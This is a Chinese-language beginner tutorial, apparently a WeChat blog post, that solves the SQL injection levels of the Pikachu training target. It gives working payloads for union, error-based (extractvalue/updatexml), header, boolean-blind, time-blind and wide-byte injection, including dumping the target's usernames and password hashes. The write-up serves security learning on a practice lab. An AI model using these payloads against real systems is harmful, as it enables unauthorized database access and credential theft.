在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。一个严重的SQL注入漏洞,可能会直接导致一家公司破产!SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
漏洞分析:
经过一系列实验分析,得出本关有以下两点结论:
1. POST的请求方式, 与常规的GET方式不同(GET更容易受到攻击)
2. 前端还通过下拉菜单选择的方式来查询, 限制了用户的输入
针对上面两点特点, 依次分析:
第一, 由于是POST型的, 那么我们可以通过抓包来修改id值, 再post给服务器即可;
第二, 虽然前端限制了用户的输入, 但还是可以通过抓包来任意修改id的值。
再思考一下服务端怎么进行查询操作:
用户将id值post给服务器, 服务器接受到id值之后, 进行到数据库查询, 返回id值对应的用户名和邮箱。那么查询语句可能是:
SELECT * FROM users WHERE id=$id; // 整数型
或者是
SELECT * FROM users WHERE id='$id'; // 字符型
实战验证:
抓包,修改参数分别输入参数
1 and 1 = 1
1 and 1 = 2
发现输入参数1的时候,页面返回正常;输入参数2的时候,发现查询失败, 注入的语句被执行了 (因为1=2为假, 又为and连接, 所以sql语句的where是不成立的)
综上所述,可以确定该漏洞为整数型sql注入漏洞。既然已经知道了该漏洞的类型,那么可以来试试怎么来利用它。首先若想要进行sql渗透,就先来判断字段到底是多少。
1 order by 2
为什么order by 2 ,是因为orber by 1的时候页面显示正常,order by 10的时候页面错误,说明字段是在1~10之间,用这个方法慢慢推断字段到底是多少。
得到了字段,接下来可以用union联合查询语句查看当前使用的用户、数据库
1 union select user(),database()
爆到了数据库之后,可以开始爆该数据库下所有的表
1 union selectdatabase(),group_concat(table_name) from information_schema.tables wheretable_schema=database()
成功爆出列之后,我们就可以来爆值了,这里我们只爆用户名和密码就可以了吧
1 union selectdatabase(),group_concat(username,'~~~',password) from pikachu.users
成功爆出账号密码,密码是md5加密。用md5解密即可知道密码是123456
这次是GET型, 相对没有POST型那么安全。
漏洞分析:
由于本题是字符串型注入,所以在查询语句中需要有单引号。猜测处理的SQL查询语句为:
SELECT * FROM users WHEREusername='$username';
如果没有对单引号进行过滤处理的话, 这样的sql语句很容易被闭合绕过而加入新的恶意语句,比如, 当username值为: kobe' and1=1 # 这样就很容易成功注入一句全真语句。其实整数型和字符型的查询语句相差不大,只是字符型的语句多了单引号,所以只要构造payload闭合掉前面单引号和注射掉后面的单引号就可以成功注入。跟上面的步骤一样,我们需要获取到该页面的字段:
kobe' order by 2 #
为什么是2不再次解释。
实战验证:
得到了字段之后,我们可以来爆库
kobe' union select user(),database()#
得到库名为pikachu之后,我们可以来将其表名也给爆出来:
kobe' union selectdatabase(),group_concat(table_name) from information_schema.tables wheretable_schema=database() #
爆出表名之后,爆列,选择users
kobe' union selectdatabase(),group_concat(column_name) from information_schema.columns wheretable_schema=database() and table_name='users' #
成功爆列之后,爆值。
kobe' union selectdatabase(),group_concat(username,'~',password) from pikachu.users#
漏洞分析:
本关是搜索型注入,常见是使用like进行查找搜索,数据库的搜索语句一般是
select * from 表名where username like '%$name%'
所以只需要闭合掉前面的 '% 和后面的 %‘ 即可成功注入
实战验证:
首先我们还是得来判断它的字段
a%' order by 3#
然后获取当前数据库
a%' union select 1,user(),database()#
接下来的步骤跟前面的操作一致
漏洞分析:
所谓的XX型注入, 就是输入的值可能被各种各样的符合闭合 (比如, 单引号双引号括号等),我们先输入常见的单引号:
发现报错了,观察可推测出数据库的查询语句为
select * from users where username=('$name');
实战验证:
还是一样的步骤,先获取当前页面的字段,然后爆库、表、列、值
给个爆字段的给参考,后续的步骤一样就不多加以赘述。
kobe') order by 2#
这关需要注册账号
漏洞分析:
产生insert/update注入,是因为在用户注册和更新信息的时候存在注入点。
这里先分析insert注入,insert注入存在于用户注册时候的过程,当用户注册新信息并提交服务器的时候, 服务端采用insert来将信息插入数据库:
由此得知sql语句可能为:
insert into users(username,password)values($username,$password);
当update时, 也是如此:
update users set username=$username,password=$password where username=$username;
实战验证:
已经推测到数据库查询语法,接下来可以一把梭。
首先先来到注册点,寻找功能点,我们可以在账号处加个单引号看看。
submit一下
可以看到数据库查询语句的报错。此时可以根据报错提示的信息更新下insert的查询语法:
insert into users(username,password)values('$username','$password');
已经可以确定注入点,接下来我们使用extractvalue() 来进行报错注入:
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串).
作用:从目标XML中返回包含所查询值的字符串
能够用于注入是因为,当xpath不符合语法时该语句会报错XPATH syntax error:(注入信息), 故可以将待查询的信息放入xpath中,通过报错回显出来。
构造payload
rookie' or extractvalue(1,concat(0x7e,(select database()),0x7e)) or '
成功爆库之后爆表
rookie’ or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tableswhere table_schema=database()),0x7e)) or ‘
之后步骤跟上面一致。不加以赘述,感兴趣的小伙伴自行构造payload。
漏洞分析:
delete其实跟 insert/update 注入,都是利用报错进行注入。发现在删掉留言的时候抓包,能够将该留言的id给抓取下来。那么我们就可以做到半路拦截这个id,然后利用这个id作一个报错注入。
实战验证:
截取到数据包,在id处进行注入
and extractvalue(1, concat(0x7e,(selectdatabase()),0x7e))
成功执行,接下来的步骤跟上一部分一样,不多加赘述。
07
—
http头注入
一般获取头部的信息用于数据分析,但是通过请求头部也可以向数据库发送查询信息,通过构造恶意语句可以对数据库进行信息查询。
漏洞分析:
输入账号密码登入之后,点击退出的同时抓取包,将User-Agent和Accept随便换成一个值,并在后面加上单引号
发现数据库能够有报错回显,上面截图因为都是6+单引号,所以分不清到底是User-Agent和Accep哪个可以注入,还是都可以。但经过后续实验,推出只有Accep可以进行注入。于是一把梭:
实战验证:
在Accep处进行注入
' or updatexml(1, concat(0x7e,database()), 0) or '
爆完库之后报表,步骤跟上面的一样,不多赘述。
在有些情况下,后台使用了错误屏蔽方法屏蔽了报错, 此时无法根据报错信息来进行注入的判断这种情况下的注入,称为“盲注”
也就是说, 我们只能通过页面是否正确来判断注入的SQL语句是否被成功执行, 事实上, 现在很多网站也都是盲注类型。
漏洞分析:
这边我们知道, 用户名肯定是字符型, 所以注入类型也肯定是字符型
输入payload:
kobe' and 1 = 1 # 页面正常
kobe' and 1 = 2 # 页面错误
证明存在注入点
实战验证:
在布尔盲注的过程中, 使用到二分法和一些mysql的函数, 比如mid(), ascii(), length()等等。比如, 假如我们要爆数据库名, 得先知道数据库的长度, 然后再一个个地去爆数据库名的每个字符,为什么要采取这么麻烦的方式呢?因为页面不存在报错, 无法直接通过报错+联合查询注入得知, 所以只能一点点通过页面是否正确来判断。
爆数据库长度
kobe' and length(database())>10# ==> 页面错误
kobe' and length(database())>5 # ==> 页面正确
kobe' and length(database())>8 # ==> 页面错误
kobe' and length(database())>6 # ==> 页面正确
kobe' and length(database())=7 # ==> 页面正确
推出数据库长度为7
爆数据库的每一位字符
第一个字符:
kobe' andascii(mid(database(),1,1))>115 # ==> 页面错误
kobe' andascii(mid(database(),1,1))>110 # ==> 页面正确
kobe' andascii(mid(database(),1,1))>112 # ==> 页面错误
kobe' and ascii(mid(database(),1,1))=112# ==> 页面正确
推出第一个字符的ascii码为112,对应字符为p。
依次爆字符,推出数据库的名字为pikachu。
爆数据库的所有表个数
kobe' and (select count(table_name) frominformation_schema.tables where table_schema=database())>5 # ==> 页面错误
kobe' and (select count(table_name) frominformation_schema.tables where table_schema=database())=5 # ==> 页面正确
推出有七个表之后,开始爆表名
先爆第一个表的长度:
kobe' and length((select table_name frominformation_schema.tables where table_schema=database() limit 0,1))=8 # ==> 页面正确
说明存在着八位字符,那么先来爆第一个字符
kobe' and ascii(mid((select table_namefrom information_schema.tables where table_schema=database() limit0,1),1,1))=104 # ==> 页面正确
得到第一表的第一字符为h, 然后依次得到第一个表为httpinfo
爆指定表的字段个数
假如我们现在要爆users表的字段个数:
kobe' and (select count(column_name)from information_schema.columns where
table_schema=database() andtable_name='users')=4 # 页面返回正常
由此可知字段个数为4
接着爆第一个字段的长度:
kobe' and length((select column_namefrom information_schema.columns where
table_schema=database() and table_name='users'limit 0,1))=2 # 页面返回正常
以此类推 ,然后爆第一个字符
kobe' and ascii(mid((select column_namefrom information_schema.columns where
table_schema=database() and table_name='users'limit 0,1),1,1))=105 #
得出ascii码为105,对应i,用这个思路逐步爆破
09
—
时间盲注
跟布尔盲注基本上大同小异,但是是利用了sleep这个函数,如果成功执行了,就延时xxxx秒
漏洞分析:
本题不管你输入什么,都是一样的回显,这就是经典的延时注入。开搞
实战验证:
kobe' and sleep(5)#
可以清楚地看到,的的确确延时了5秒,说明存在该漏洞。
获取数据库的长度
kobe' andsleep(if(length(database())>7,0,3)) # ==> 延时
kobe' and sleep(if(length(database())=7,0,3))# ==> 不延时
说明数据库长度为7。
接下来的payload跟布尔盲注的差不多,不多加演示,感兴趣的童鞋可以自己探讨钻研。
10
—
宽字节注入
漏洞分析:
GBK 占用两字节,ASCII占用一字节,PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“”),MYSQL默认字符集是GBK等宽字节字符集。大家都知道%df’被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠,变成了 %df’,其中的十六进制是 %5C ,那么现在 %df’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df’ =%df%5c%27=縗’,有了单引号就好注入了。
实战验证:
构造payload过滤掉他的转义
kobe%df' or 1=1#
发现输入的参数不成功,深入研究发现,这玩意还是个post类型传输!~
不打紧不打紧,咱就搞个bp抓抓包怼他就好了。
成功怼进去了,先报表爆库什么的,可以参考上面的信息
END
—
这是学渣成长之路的第十三篇文章,希望能够帮助到正在学习的入门者们,一起加油吧!
需要靶机的小伙伴公众号回复“00002”
本文始发于微信公众号(学渣成长之路):小白入门靶机-Pikachu之SQL注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论